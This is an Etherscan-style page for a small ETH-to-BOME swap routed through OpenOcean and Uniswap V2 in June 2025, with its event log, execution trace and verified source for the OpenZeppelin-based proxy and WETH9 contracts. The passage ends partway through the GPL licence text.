Transaction Hash:
Block:
22706626 at Jun-15-2025 01:18:59 AM +UTC
Transaction Fee:
0.000168404920844719 ETH
$0.41
Gas Used:
378,313 Gas / 0.445147063 Gwei
Emitted Events:
24 |
WETH9.Deposit( dst=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121, wad=4950000000000000 )
|
25 |
WETH9.Transfer( src=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121, dst=UniswapV2Pair, wad=4950000000000000 )
|
26 |
BOME.Transfer( from=UniswapV2Pair, to=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121, value=924603053578948268331521 )
|
27 |
BOME.Transfer( from=MainnetSettler, to=0x000000000000000000000000000000000000dEaD, value=0 )
|
28 |
UniswapV2Pair.Sync( reserve0=7183634642678587322172683890, reserve1=38348230794484305261 )
|
29 |
UniswapV2Pair.Swap( sender=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121, amount0In=0, amount1In=4950000000000000, amount0Out=924603053578948268331521, amount1Out=0, to=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121 )
|
30 |
BOME.Transfer( from=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121, to=[Sender] 0x9172b91de057541eb22003a1767b47dc53affe65, value=924603053578948268331521 )
|
31 |
OpenOceanExchangeProxy.0x76af224a143865a50b41496e1a73622698692c565c1214bc862f18e22d829c5e( 0x76af224a143865a50b41496e1a73622698692c565c1214bc862f18e22d829c5e, 0x0000000000000000000000009172b91de057541eb22003a1767b47dc53affe65, 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee, 0x000000000000000000000000634769eb87542eaf41c0008c05d5d8f5d8bec3a5, 0000000000000000000000009172b91de057541eb22003a1767b47dc53affe65, 0000000000000000000000000000000000000000000000000011c37937e08000, 0000000000000000000000000000000000000000000000000011c37937e08000, 00000000000000000000000000000000000000000000c3cad4fbe91fd5051201, 00000000000000000000000000000000000000000000c2d037c254c23ba27c27, 00000000000000000000000000000000000000000000c3cad4fbe91fd5051201, 000000000000000000000000096daa643ba24e53b087af2ceed3a6ddeb56945b )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x096DAA64...dEb56945b | 0.730383579011026327 Eth | 0.730426079011026327 Eth | 0.0000425 | ||
0x7069f8cE...b73e1E7f4 | |||||
0x7e2a2FA2...13Ff12D05
Miner
| (MEV Builder: 0x7e2...D05) | 107.837536637877964335 Eth | 107.837574176389805932 Eth | 0.000037538511841597 | |
0x9172b91D...c53aFFe65 |
0.013601351645852266 Eth
Nonce: 3
|
0.008432946725007547 Eth
Nonce: 4
| 0.005168404920844719 | ||
0x922164BB...949fCAEef | 0.698529257046329758 Eth | 0.698536757046329758 Eth | 0.0000075 | ||
0xA34F5E6D...D84954366 | |||||
0xb9dcE40A...b747fA658 | |||||
0xC02aaA39...83C756Cc2 | 2,622,068.953044581235561675 Eth | 2,622,068.957994581235561675 Eth | 0.00495 |
Execution Trace
ETH 0.005
OpenOceanExchangeProxy.90411a32( )
ETH 0.005
OpenOceanExchange.swap( caller=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121, desc=[{name:srcToken, type:address, order:1, indexed:false, value:0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, valueString:0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE}, {name:dstToken, type:address, order:2, indexed:false, value:0x634769EB87542EAf41C0008c05D5d8F5d8bEc3A5, valueString:0x634769EB87542EAf41C0008c05D5d8F5d8bEc3A5}, {name:srcReceiver, type:address, order:3, indexed:false, value:0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121, valueString:0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121}, {name:dstReceiver, type:address, order:4, indexed:false, value:0x9172b91De057541eB22003A1767b47Dc53aFFe65, valueString:0x9172b91De057541eB22003A1767b47Dc53aFFe65}, {name:amount, type:uint256, order:5, indexed:false, value:5000000000000000, valueString:5000000000000000}, {name:minReturnAmount, type:uint256, order:6, indexed:false, value:919980038311053526989863, valueString:919980038311053526989863}, {name:guaranteedAmount, type:uint256, order:7, indexed:false, value:924603053578948268331521, valueString:924603053578948268331521}, {name:flags, type:uint256, order:8, indexed:false, value:0, valueString:0}, {name:referrer, type:address, order:9, indexed:false, value:0x096DAA643bA24e53b087AF2ceeD3a6ddEb56945b, valueString:0x096DAA643bA24e53b087AF2ceeD3a6ddEb56945b}, {name:permit, type:bytes, order:10, indexed:false, value:0x, valueString:0x}], calls= ) => ( returnAmount=924603053578948268331521 )
BOME.balanceOf( account=0x9172b91De057541eB22003A1767b47Dc53aFFe65 ) => ( 0 )
0x7069f8cea562778bde0bac8f512d3f6b73e1e7f4.70a08231( )
0x623f0c27e08957d5d93076e34028270b355ee0db.70a08231( )
-
WETH9.balanceOf( 0xb9dcE40Ac352c84CA11F94c3CE8ec37b747fA658 ) => ( 38343280794484305261 )
-
ETH 0.005
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.a8920d2b( )
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.0c7e1209( )
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.d1660f99( )
- ETH 0.0000075
0x922164bbbd36acf9e854acbbf32facc949fcaeef.CALL( )
- ETH 0.0000075
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.0c7e1209( )
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.d1660f99( )
- ETH 0.0000425
0x096daa643ba24e53b087af2ceed3a6ddeb56945b.CALL( )
- ETH 0.0000425
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.0c7e1209( )
- ETH 0.00495
WETH9.CALL( )
- ETH 0.00495
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.0c7e1209( )
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.9f865422( )
-
WETH9.balanceOf( 0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121 ) => ( 4950000000000000 )
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.d1660f99( )
-
WETH9.transfer( dst=0xb9dcE40Ac352c84CA11F94c3CE8ec37b747fA658, wad=4950000000000000 ) => ( True )
-
-
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.0c7e1209( )
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.cac460ee( )
-
UniswapV2Pair.STATICCALL( )
-
WETH9.balanceOf( 0xb9dcE40Ac352c84CA11F94c3CE8ec37b747fA658 ) => ( 38348230794484305261 )
UniswapV2Pair.swap( amount0Out=924603053578948268331521, amount1Out=0, to=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121, data=0x )
-
BOME.transfer( recipient=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121, amount=924603053578948268331521 ) => ( True )
-
BOME.balanceOf( account=0xb9dcE40Ac352c84CA11F94c3CE8ec37b747fA658 ) => ( 7183634642678587322172683890 )
-
WETH9.balanceOf( 0xb9dcE40Ac352c84CA11F94c3CE8ec37b747fA658 ) => ( 38348230794484305261 )
-
-
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.0c7e1209( )
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.8a6a1e85( )
BOME.balanceOf( account=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121 ) => ( 924603053578948268331521 )
-
0x7069f8cea562778bde0bac8f512d3f6b73e1e7f4.70a08231( )
-
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.0c7e1209( )
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.9f865422( )
BOME.balanceOf( account=0x55877bD7F2EE37BDe55cA4B271A3631f3A7ef121 ) => ( 924603053578948268331521 )
-
0x7069f8cea562778bde0bac8f512d3f6b73e1e7f4.70a08231( )
-
0x55877bd7f2ee37bde55ca4b271a3631f3a7ef121.d1660f99( )
-
BOME.transfer( recipient=0x9172b91De057541eB22003A1767b47Dc53aFFe65, amount=924603053578948268331521 ) => ( True )
-
BOME.balanceOf( account=0x9172b91De057541eB22003A1767b47Dc53aFFe65 ) => ( 924603053578948268331521 )
0x7069f8cea562778bde0bac8f512d3f6b73e1e7f4.70a08231( )
0x623f0c27e08957d5d93076e34028270b355ee0db.70a08231( )
-
WETH9.balanceOf( 0xb9dcE40Ac352c84CA11F94c3CE8ec37b747fA658 ) => ( 38348230794484305261 )
-
swap[OpenOceanExchange (ln:3689)]
isETH[OpenOceanExchange (ln:3701)]
isETH[OpenOceanExchange (ln:3704)]
_claim[OpenOceanExchange (ln:3705)]
_permit[OpenOceanExchange (ln:3750)]
safeTransferFrom[OpenOceanExchange (ln:3751)]
universalBalanceOf[OpenOceanExchange (ln:3709)]
universalBalanceOf[OpenOceanExchange (ln:3710)]
makeCalls[OpenOceanExchange (ln:3712)]
sub[OpenOceanExchange (ln:3715)]
universalBalanceOf[OpenOceanExchange (ln:3715)]
sub[OpenOceanExchange (ln:3718)]
add[OpenOceanExchange (ln:3718)]
universalBalanceOf[OpenOceanExchange (ln:3718)]
mul[OpenOceanExchange (ln:3719)]
mul[OpenOceanExchange (ln:3719)]
_emitSwapped[OpenOceanExchange (ln:3724)]
File 1 of 6: OpenOceanExchangeProxy
File 2 of 6: WETH9
File 3 of 6: UniswapV2Pair
File 4 of 6: BOME
File 5 of 6: MainnetSettler
File 6 of 6: OpenOceanExchange
// File: @openzeppelin/contracts/proxy/Proxy.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/proxy/UpgradeableProxy.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. * * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see * {TransparentUpgradeableProxy}. */ contract UpgradeableProxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) public payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if (_data.length > 0) { Address.functionDelegateCall(_logic, _data); } } /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal virtual { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newImplementation) } } } // File: @openzeppelin/contracts/proxy/TransparentUpgradeableProxy.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor( address _logic, address admin_, bytes memory _data ) public payable UpgradeableProxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(admin_); } /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _admin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external virtual ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin { _upgradeTo(newImplementation); Address.functionDelegateCall(newImplementation, data); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address adm) { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { adm := sload(slot) } } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newAdmin) } } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } // File: contracts/OpenOceanExchangeProxy.sol pragma solidity ^0.6.12; contract OpenOceanExchangeProxy is TransparentUpgradeableProxy { constructor( address logic, address admin, bytes memory data ) public TransparentUpgradeableProxy(logic, admin, data) {} }
File 2 of 6: WETH9
// Copyright (C) 2015, 2016, 2017 Dapphub // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.4.18; contract WETH9 { string public name = "Wrapped Ether"; string public symbol = "WETH"; uint8 public decimals = 18; event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); event Deposit(address indexed dst, uint wad); event Withdrawal(address indexed src, uint wad); mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; function() public payable { deposit(); } function deposit() public payable { balanceOf[msg.sender] += msg.value; Deposit(msg.sender, msg.value); } function withdraw(uint wad) public { require(balanceOf[msg.sender] >= wad); balanceOf[msg.sender] -= wad; msg.sender.transfer(wad); Withdrawal(msg.sender, wad); } function totalSupply() public view returns (uint) { return this.balance; } function approve(address guy, uint wad) public returns (bool) { allowance[msg.sender][guy] = wad; Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { require(balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; Transfer(src, dst, wad); return true; } } /* GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate 